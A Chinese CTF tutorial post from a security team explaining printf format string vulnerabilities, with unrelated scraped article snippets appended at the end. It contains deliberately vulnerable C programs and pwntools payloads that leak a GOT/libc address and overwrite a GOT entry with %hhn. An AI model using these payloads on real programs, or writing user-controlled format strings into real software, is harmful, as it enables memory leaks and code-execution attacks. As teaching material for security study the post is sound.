白泽知识讲堂 | printf漏洞介绍

2023-05-16

引子

Hello各位小伙伴们,白泽又和大家见面了。大家还记得自己写的第一个C语言程序吗?

那是我们和代码爱情的起点,一眼万年——没错,就是那个耳熟能详的Hello World !

1#include <stdio.h>
2int main() {
3printf("Hello World!\n"); 
4return 0;
5}

当printf函数在屏幕上打印出Hello World的时候,我们回忆起了被c语言上机课支配的恐惧,咳咳,是回忆起了初学编程时候青涩的自己。那时的printf还只是一个小小的打印函数,殊不知printf身后隐藏着不为人知的漏洞。下面就请白泽战队的教练小哥哥——Mr.D 和Harry为大家揭开 printf漏洞 的神秘面纱。

基本介绍

Format String 介绍

在C语言中,我们常用的输出函数有printf、 fprintf、 vprintf、 vfprintf、 sprint等。对于这些输出函数,Format String是其第一个参数,我们一般称之为格式化字符串。

下面简单介绍格式化字符串如何在输出函数进行解析

注:由于printf在代码中最为常见,因此以下以printf为例

printf 接受变长的参数,其中第一个参数为格式化字符串,后面的参数在实际运行时将与格式化字符串中特定格式的子字符串进行对应,将格式化字符串中的特定子串,解析为相应的参数值。

举个栗子来说:

printf("Team Name: %s\tPoints: %d\n", "Whitzard", 999);

*注:安卓系统下代码块部分可以左右滑动。

在上面这行语句中, "Team Name: %s\tPoints: %d\n"为格式化字符串,"Whitzard"、999分别为第二个和第三个参数。在格式化字符串解析时,格式化字符串中的 "%s" 对应到第二个参数 "Whitzard" ,而 "%d" 则对应到第三个参数999。(\t \n在此处不做讲解。)

于是实际输出为如下结果:

Team Name: Whitzard    Points: 999

Format String符号说明

在格式化字符串中,"%s"、"%d" 等类型的符号叫符号说明,这些符号说明的基本格式为 %[parameter][flags][field width][.precision][length]type 。相信大家对于简单的符号说明并不陌生,但如果要利用格式化字符串漏洞,我们还需要用到几个比较冷门的符号说明,如:

符号

  描述

%p

  将对应参数解析为地址形式输出

%K$p

将更改对应顺序,与格式化字符串后的第K个参数进行对应,并以地址形式解析参数值

%K$n

将与格式化字符串后的第K个参数进行对应,将参数解析为一个地址,并取消此次输出,而将已经输出的字节长度写入获取的地址

是不是感到很神奇呢?没想到printf还有这种神奇的用法吧!

符号说明格式的具体说明请参考维基百科,格式化字符串。

调用约定

了解格式化字符串的解析方法后,我们还需要知道printf传参方式,以及格式化字符串的调用约定,才能实现对于格式化字符串的利用。

X86

在x86(32-bit)系统中,printf的参数是按参数顺序依次存放在栈上的,我们举个栗子来演示printf的调用约定。

对于下面的程序,我们为printf传入一个格式化字符串和若干个参数。通过gdb调试将程序断点设在printf处可查看参数在栈上的分布

1#include <stdio.h>
 2
 3int main(){
 4
 5printf("Test : 1.%p\t 2.%p\t 3.%p\t 4.%p\t 5.%p\t 6.%p\t", 
 6        0x11111111, 0x22222222, 
 7        0x33333333, 0x44444444, 
 8        0x55555555, 0x66666666);
 9return 0;
10}

*注:安卓系统下代码块部分可以左右滑动。

Stack:

Format String:

TIP

可以发现,在32位程序在调用printf时,栈从低到高依次存放指向格式化字符串的指针和变长参数。

X86_64

对于X86_64(64-bit)的系统,printf的调用约定与32-bit不同,64位系统中前6个参数是存放在寄存器中的。

我们依然按上面的方法对调用约定进行说明。利用gdb调试查看寄存器以及栈的情况。

Register : 

Format String : 

Stack : 

TIP

可以发现,64位程序调用printf的传参约定为:

前六个参数按序存放在 RDI(指向format string的指针) 、RSI、RDX、 RCX、 R8以及R9(前5个变长参数)寄存器中,其余的变长参数依次存放在上。

格式化字符串漏洞

在了解printf变长参数的特性之后,我们能够发现一些这个函数可能存在的漏洞。

我们已经知道,printf函数在执行时,首先进行格式化字符串的解析——从栈(或者寄存器)获取参数并与符号说明进行匹配,然后将匹配的结果输出到屏幕上。那么,如果格式化字符串中的符号声明与栈上参数不能正确匹配,比如参数个数少于符号声明个数时,就有可能造成泄露

另外,printf也是一项有力的攻击武器,我们可以通过控制格式化字符串的值来实现更多的泄露或者完成更高级的利用。

想要了解更多格式化字符串漏洞的利用姿势吗?那就一起往下看吧~

泄露内存

由于格式化字符串变长参数的特性,在实际运行中,如果Format String的符号说明个数超过待匹配的参数个数,即有更多的符号说明需要被匹配时,printf会根据解析结果和调用约定去取栈上(reg)相应的值并输出。

我们以下面这段32位下的程序来说明如何利用printf完成泄露。

1#include <stdio.h>
2int main(){
3int toLeak = 0xdeadbeef;
4printf("%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n");
5return 0;
6}

*注:安卓系统下代码块部分可以左右滑动。

Output :

0x3
0xf75a4a50
0x804848b
0x1
0xff9fbae4
0xff9fbaec
0xdeadbeef --> 泄露的栈变量
0xf77283dc

当我们不向printf提供更多参数时,printf会打出栈上本不应该被访问到信息,我们能够通过这种方式获取到很多有用的信息,例如通过泄露的栈变量计算参数偏移量、通过栈上的信息计算程序基地址以及libc基地址等。

任意地址泄露

而当我们可以控制printf的格式化字符串时,我们可以完成更多操作。

对于下面这段程序,开发者希望我们输入名字字符串,然后程序使用printf输出我们的名字进行一个交互。然而我们可以通过构造特殊的input,让程序完成一些开发者意料之外的事情

下面代码走起来~

 1#include<stdio.h>
 2//32-bit
 3int main(){
 4char *h = "Hello! What's your name\n";
 5printf(h);
 6char s[100] = {0};
 7scanf("%s",s);
 8printf(s);
 9return 0;
10}

当我们构造一个payload如下:

payload = %p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n

*注:安卓系统下代码块部分可以左右滑动。

利用这个payload我们可以获得之前程序的结果,完成一个泄露。

现在我们考虑构造一个新的payload如下:

payload = '%7$s' + p32(code.got['__isoc99_scanf'])

*注:安卓系统下代码块部分可以左右滑动。

这个payload传递一个特殊的符号说明'%7$s',和使用pwntools中p32()处理后的scanf的got表地址。这个格式化字符串被printf接收后会将栈上的第7+1个参数进行%s的解析,读取该地址指向的字符串。而我们通过gdb调试可以发现,栈上第8个参数正好是我们构造的payload第二部分p32(code.got['__isoc99_scanf'])。这样实际上完成了对scanf的got表指向的libc地址进行字符串解析并输出,完成了libc的泄露。

具体情况如下所示。

1#leak.py
2from pwn import *
3p = process('./example32')
4code = ELF('./example32')
5context(arch=code.arch, os='linux', log_level='debug')
6p.recv()
7p.sendline('%7$s' + p32(code.got['__isoc99_scanf']))
8scanf = u32(p.recv(4))
9print hex(scanf)

*注:安卓系统下代码块部分可以左右滑动。

Output : 

Analysis : 

根据gdb调试结果可知,这次got表能泄露的关键在于源代码中将format string作为临时变量放在栈上。故用`%7$s`去解析栈上的`0x804a018`时,就泄露了got表。

由此可以发现,当格式化字符串存储在栈上,而我们又能控制格式化字符串时,只要我们构造一个合适的payload,一个'%K$s'和一个任意合理地址,(由于我们可以使用多个%p的方法找到合适的K来对应这个地址),我们便可以对一个任意的地址进行读取泄露

More TIPS

  1. 参数放在栈上时要保证对齐,保证输入的地址的完整可用性,32位以四字节对齐,64位以八字节对齐,payload在构造时需要精心设计;

  2. 如果'%s'解析到了一个不合理的或者不可访问的地址时,程序就会崩溃,由此也能衍生出一种构造多个'%s'让程序崩溃的攻击方式。

  3. pwntools的FmtStr模块提供了一种自动计算参数偏移量的方法,有兴趣的同学可以查阅查阅。

内存覆盖

现在我们能够做到任意地址的泄露了,但这对我们来说还不够!!我们希望能够修改某些地址中的值来达到我们想要的效果,而格式化字符串的'%K$n'为我们提供了可能。接下来我们介绍如何通过构造payload完成一个任意地址的内存覆盖。

内存覆盖的思路和任意地址泄露的思路相似,一种可行的方法是同上面一样,构造payload,在格式化字符串中包含想要写入的地址,此时该地址会随格式化字符串放在栈上,然后用格式化字符串的'%K$n'来实现写功能。

下面以一个64-bit的程序来作为例子,完成一次内存覆盖,在本例中特别需要注意偏移量对齐问题

Example :

 1#include<stdio.h>
 2//64-bit
 3int main(){
 4char *h = "Hello! What's your name\n";
 5printf(h);
 6char s[100] = {0};
 7scanf("%s",s);
 8printf(s);
 9return 0;
10}

%n的作用是将匹配的参数解析为一个地址,并取消本次输出,而将已输出的byte数写入该地址,比如"aaa%n",则本次执行后将向对应地址写入3。

Payload :

1from pwn import *
2p = process('./example64')
3code = ELF('./example64')
4context(arch=code.arch, os='linux', log_level='debug')
5p.recv()
6#hhn - only modify one byte
7p.sendline('a' *9 + '%10$hhn' + p64(code.got['__isoc99_scanf']))

*注:安卓系统下代码块部分可以左右滑动。

Analysis - Before Printf :

point 1 : 实际偏移量

注意64位算偏移时要先将调用约定中寄存器的数量加进去,并且payload里地址之前的其他格式化字符串也会在栈上占去位置,会导致实际偏移量增加,需要进行新的计算,假如无法确定%K$n中的K到底是多少,可以多输出几个%p来确定。

point 2 : 地址的位置

另外需要说明64位程序为了保证地址的完整合理性,地址一般放在payload的最后且地址之前的这部分payload要以八字节对齐。因为64位中地址长度一般为4~6个byte,如果放在payload前部,需要进行补齐——如果补0,payload会被printf截断;如果补非0byte,地址又会无效。

地址放在最后,只要payload第一部分对齐没有溢出覆盖到地址的高位,就能正确的解析出地址。

point 3 : h length描述符

我们在使用'%n'进行写入时,可以用到h或hh length描述符,表明写入的长度,h表示一次覆盖两个byte,而hh表示一次写入一个byte,如果不对n进行修饰,则默认为写入四个byte。

当我们需要要对一个地址写入一个很大的数,例如0x12345678时,我们一般不直接写入,而是利用h或hh,分若干次写入。

Analysis - After Printf :

当我们完成上例的操作后,我们可以发现__isoc99_scanf已从0xd0被修改为0x09,即payload中'a'的数量。由此我们通过控制格式化字符串完成了任意地址的写入覆盖操作

总结

printf格式化字符串的利用能够帮助我们完成很多事情, 栈泄露内存泄露任意地址的读写。当我们可以控制格式化字符串为任意我们想要的值,在不加限制的情况下我们便能为所欲为。但实际的CTF比赛或生活中的程序代码里,都会对格式化字符串进行检查或对长度、内容加以限制,这时候我们需要将格式化字符串利用与其他手段结合起来使用。

格式化字符串的利用今天就讲这么多了,希望各位能够有一些收获与启发。预祝各位兄dei都成为打pwn大佬~啾咪💗

白泽知识讲堂 | printf漏洞介绍

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

白泽知识讲堂 | printf漏洞介绍 的相关文章

  • K210 FreeRTOS多任务多核系统调度

    一 目的 众所周知 xff0c K210这款AI新品是一款64bit 双核芯片 xff0c 其支持裸机编程 xff0c 并且官方也提供freertos sdk xff0c 方便开发者在其上进行多任务应用开发 那么如何进行任务创建和多核开发呢
  • keil如何添加h文件_KEIL 那些编辑技巧与方法

    当然了 xff0c 很多人现在更多的是使用 VSCode 或者 SI 等软件进行编辑 xff0c 但不可否认的是 xff0c 还有很多道友还是选择 KEIL 作为编辑软件的 xff0c 本篇笔记作为一个编辑技巧的总结 关于 KEIL 软件的
  • 关于keil C51 案例 加入头文件

    1 先在工程下面建立一个 h文件 xff0c 例如delay h 在其中写入要加入的函数声明 xff0c 或者其他的一些预定义 xff1a ifndef DELAY H define DELAY H include lt reg52 h g
  • "extern C", 你真的懂了吗?

    在c 43 43 prime书中看到过 xff0c 在DLL和lib中看到过 xff0c 但是每次看过就不求甚解地一扫而过 心里知道有extern c这个语句 xff0c 却不知道该用在哪里 xff0c 又能起到什么作用 唉 xff0c 想
  • 内存或寄存器定义和赋值

    在嵌入式中 xff0c 会经常遇到寄存器 内存的数据传输 xff0c 如何向寄存器中写入数据呢 xff1f 现举例说明 xff1a define rDISRC0 volatile unsigned 0x4b000000 DMA 0 Init
  • Makefile的文件格式,详解规则

    构建规则都写在Makefile文件里面 xff0c 要学会如何Make命令 xff0c 就必须学会如何编写Makefile文件 1 概述 Makefile文件由一系列规则 xff08 rules xff09 构成 每条规则的形式如下 xff
  • 只声明而不定义变量

    如果想声明一个变量而不定义它 xff0c 就在变量前面添加关键字extern xff0c 而且不要显式地初始化变量 extern int i 声明i而非定义i extern int j 61 0 定义 int k 声明并且定义 注意 xff
  • vector 与 智能指针使用注意事项

    看以下代码 xff0c 执行时会有什么问题 xff1f include lt vector gt include lt stdio h gt include lt stdlib h gt include lt memory gt class
  • SystemV 共享内存(一)—— 共享内存的创建与释放(shmget / shmctl)

    匿名管道和命名管道都是基于文件 的进程间通信 xff0c SystemV方案是在OS内核层面 专门为进程间通信设计的一个方案 xff0c 然后通过系统调用 xff08 system call xff09 给用户提供通信接口 SystemV方
  • TTL 485 232 全双工 半双工 单工---精简总结

    全双工 xff1a 双向2车道 半双工 xff1a 双向1车道 单工 xff1a 单向车道 1 从单片机软件编程角度来说 xff0c RS232 RS485都是转换为TTL电平方式与单片机通信 xff08 CAN收发器把差分信号转化为TTL
  • STM32F4-ADC-常规通道-转换模式配置-总结

    STM32F4 ADC常规通道转换的模式配置 模式选择 此寄存器定义 xff1a 是否自动循环 这两个寄存器定义 xff1a Scan mode xff08 是否轮询序列 xff09 和Discontinuous mode xff08 是否
  • 单片机 裸机 架构

    以前是 while xff08 1 xff09 43 软件定时器 43 中断标志 的框架 xff0c 现在的项目我想尝试一下新的框架 xff0c 简单来说是 主状态机 43 大量子状态机 43 软件定时器 的方式 xff0c 这其中状态机和
  • USART---串口发送数据

    xfeff xfeff while USART1 gt SR amp 0X40 61 61 0 等待发送结束 解析 xff1a USART1 gt SR xff1a 串口 状态 寄存器 USART1 gt SR amp 0X40 即串口状态
  • STM32---串口初始化

    u8 USART RX BUF USART REC LEN 接收缓冲 最大USART REC LEN个字节 bit15 xff0c 接收完成标志 bit14 xff0c 接收到0x0d bit13 0 xff0c 接收到的有效字节数目 u1
  • stm32---RS485初始化

    u8 RS485 RX BUF 64 接收缓冲 最大64个字节 u8 RS485 RX CNT 61 0 接收到的数据长度 函数 xff1a RS485 Init 功能 xff1a 串口初始化配置 参数 xff1a Baud 波特率 备注
  • 定时器0,中断,控制LED闪烁(1s亮,1s灭)---2018-11-07

    include lt reg52 h gt include lt stdio h gt define uchar unsigned char define uint unsigned int sbit LED 61 P2 2 void ti
  • AM2322温湿度传感器(地址0XB8)---I2C总结(I2C_ModBus协议)

  • 数码管---共阳---共阴---段选码---位选码---总结

    共阴极 xff1a 位选为低电平 xff08 即0 xff09 选中数码管 各段选为高电平 xff08 即1接 43 5V时 xff09 选中各数码段 0 f 共阴数码管段选 表 xff0c 无小数点 xff1a unsigned char
  • ubuntu怎样通过终端打开firefox?

    1 直接输入firefox 按回车 2 首先打开火狐浏览器 xff0c 鼠标移到屏幕最顶端 xff0c 出现菜单栏 工具栏 xff0d xff0d 附加组件选项 如下图所示 也可以在火狐浏览器界面 使用快捷键 shift 43 Ctrl 4
  • 重新认识 IP地址

    目录 一 什么是网段划分 二 如何分配子网中的IP xff1f 三 IP地址的分类 1 早期划分方式 1 早期分类方式 2 早期分类的局限性 2 CIDR划分 xff08 子网掩码划分 xff09 1 基本思路 2 实现方式 四 IP地址的

随机推荐

  • Linux服务器下抓包工具tcpdump分析

    概述 说到抓包分析 xff0c 最简单的办法莫过于在客户端直接安装一个Wireshark或者Fiddler了 xff0c 但是有时候由于接口调用无法在客户端抓包 xff0c 只能在服务器上抓包 xff0c 这种情况下怎么办呢 xff1f 本
  • MATLAB 常用转义字符

    MATLAB常用转义字符收录如下 Single quotation mark nbsp Percent character nbsp Backslash nbsp a Alarm nbsp b Backspace nbsp f Form f
  • 利用MATLAB解决人工神经网络模拟预测问题研究

    利用MATLAB解决人工神经网络模拟预测问题研究 nbsp nbsp nbsp nbsp nbsp nbsp nbsp nbsp 人工神经网络根据模仿人脑的工作原理抽象出来的一种算法 人工神经网络 artigicial neutral ne
  • Visual Studio 2008学习过程(之一)起步

    以前 xff0c 在使用MATLAB开发一些软件 xff0c 虽然它的数值计算方面的功能很强大 xff0c 但是界面不是很好看 xff0c 很难做出来漂亮的软件 xff0c 所以萌生了用VS和MATLAB联合编程的想法 这样可以使软件更加强
  • 如何用servlet写网页访问量计数器?

    如何用servlet写网页访问量计数器 xff1f 1 原料 l MyEclipse l Tomcat l html 2 步骤 1 新建工程 项目栏鼠标右键 New Web Project xff0c 这里我起名为 xff1a myexm4
  • 提示:请安装TCP/IP协议.error=10106。解决方案

    有朋友使用电脑的时候会出现如下错误 xff0c 如何解决该问题是本文写作的目的 提示错误 xff1a 图 1 解决 方案 xff1a 1 删除两个注册表选项 xff1b 按下windows键 43 R键 xff0c 输入regedit xf
  • 防止头文件被重复包含

    前言 为了避免同一个文件被include多次 xff0c C C 43 43 中有两种方式 xff0c 一种是 ifndef方式 xff0c 一种是 pragma once方式 方式一 xff1a ifndef SOMEFILE H 或写为
  • 有趣的网站分享——pornhub风格生成器

    寄语 要说logo设计 xff0c pornhub的logo设计让人印象深刻 xff0c 黑底白字 xff0c 配上一小撮橙色 xff0c 给人极强的冲击力 这不 xff0c 有一个有意思的程序员弄了一个网站 xff0c 专门生成pornh
  • 大小端存储问题

    1 什么是数据的高低位 数据的高位在左 xff0c 低位在右 2 什么是内存的高低位 2 什么是大端存储 小端存储 简单记就是 xff1a 小端 xff1a 低低 xff08 数据低位在内存低位 xff09 大端 xff1a 高低 xff0
  • 【A星算法的优化方案】

    当地图很大的时候 xff0c 或者使用A星算法的寻路频率很高的时候 xff0c 普通的A星算法就会消耗大量的CPU性能急剧下降 xff0c 普通的A星性能还是不过关 接下来我们讲讲A星寻路在遇到性能瓶颈时的优化方案 一 长距离导航 当距离很
  • Java工具类:String与DateTime类型的相互转换

    1 String 转 DateTime 在转换之前需要引入 hutool 依赖 String datestr 61 34 2022 5 19 34 DateTime datetime 61 DateUtil parse datestr 2
  • Iterator迭代器的一般用法

    Iterator迭代器的一般用法 迭代器 xff08 Iterator xff09 迭代器是一种设计模式 xff0c 它是一个对象 xff0c 它可以遍历并选择序列中的对象 xff0c 而开发人员不需要了解该序列的底层结构 迭代器通常被称为
  • socket编程---fgets和fputs函数使用理解

    这一节是继续上一节socket05的讨论 xff0c 来探讨在使用socket进行通信中遇到的一些函数使用理解误区 1 fgets的使用注意点 在写socket通信 xff08 代码见上一篇中 xff0c 只是将sendbuf和recvbu
  • Tarjan算法详细讲解

    Tarjan算法讲解的博客网上找到三篇比较好的 现在都转载了 个人只研究了第一篇 正如博主所说 讲的标比较详细 清晰 剩下两篇也可以看一下 卿学姐视频讲解 https www bilibili com video av7330663 以下内
  • 中文乱码在线恢复网站

    乱码恢复
  • GCC自带的一些builtin内建函数

    title GCC自带的一些builtin内建函数 date 2021 02 27 18 57 00 description 一些GCC自带的内建 bulitin 函数的接口及实现 一 GCC内建函数 最近在刷 leetcode 的时候遇到
  • Shell脚本实用小技巧-教你屏蔽执行命令的所有显示信息,包含错误信息

    前言 xff1a 在Linux中 xff0c 有个 dev null的东西 xff0c 人们一般称之为黑洞 xff0c 大概的意思就是东西就像黑洞一样 xff0c 任何东西丢进去都会消失 xff0c 那么下面就开始进行一些小案例去认识一下这
  • MPU6050应用详解

    MPU6050应用详解 最近项目上要用到 MPU6050 陀螺仪 xff0c 以前没有接触过它 虽然在网上很容易就可以找到了需要的代码 实现了一部分功能 但是却还是对陀螺仪的工作原理不太了解 xff0c 它的代码也需要分析一下 xff0c
  • protobuf详解

    1 protobuf 简介 protobuf protocol buffer 是谷歌内部的混合语言数据标准 通过将结构化的数据进行序列化 串行化 xff0c 用于通讯协议 数据存储等领域和语言无关 平台无关 可扩展的序列化结构数据格式 我们
  • 白泽知识讲堂 | printf漏洞介绍

    引子 Hello各位小伙伴们 xff0c 白泽又和大家见面了 大家还记得自己写的第一个C语言程序吗 xff1f 那是我们和代码爱情的起点 xff0c 一眼万年 没错 xff0c 就是那个耳熟能详的Hello World 1 include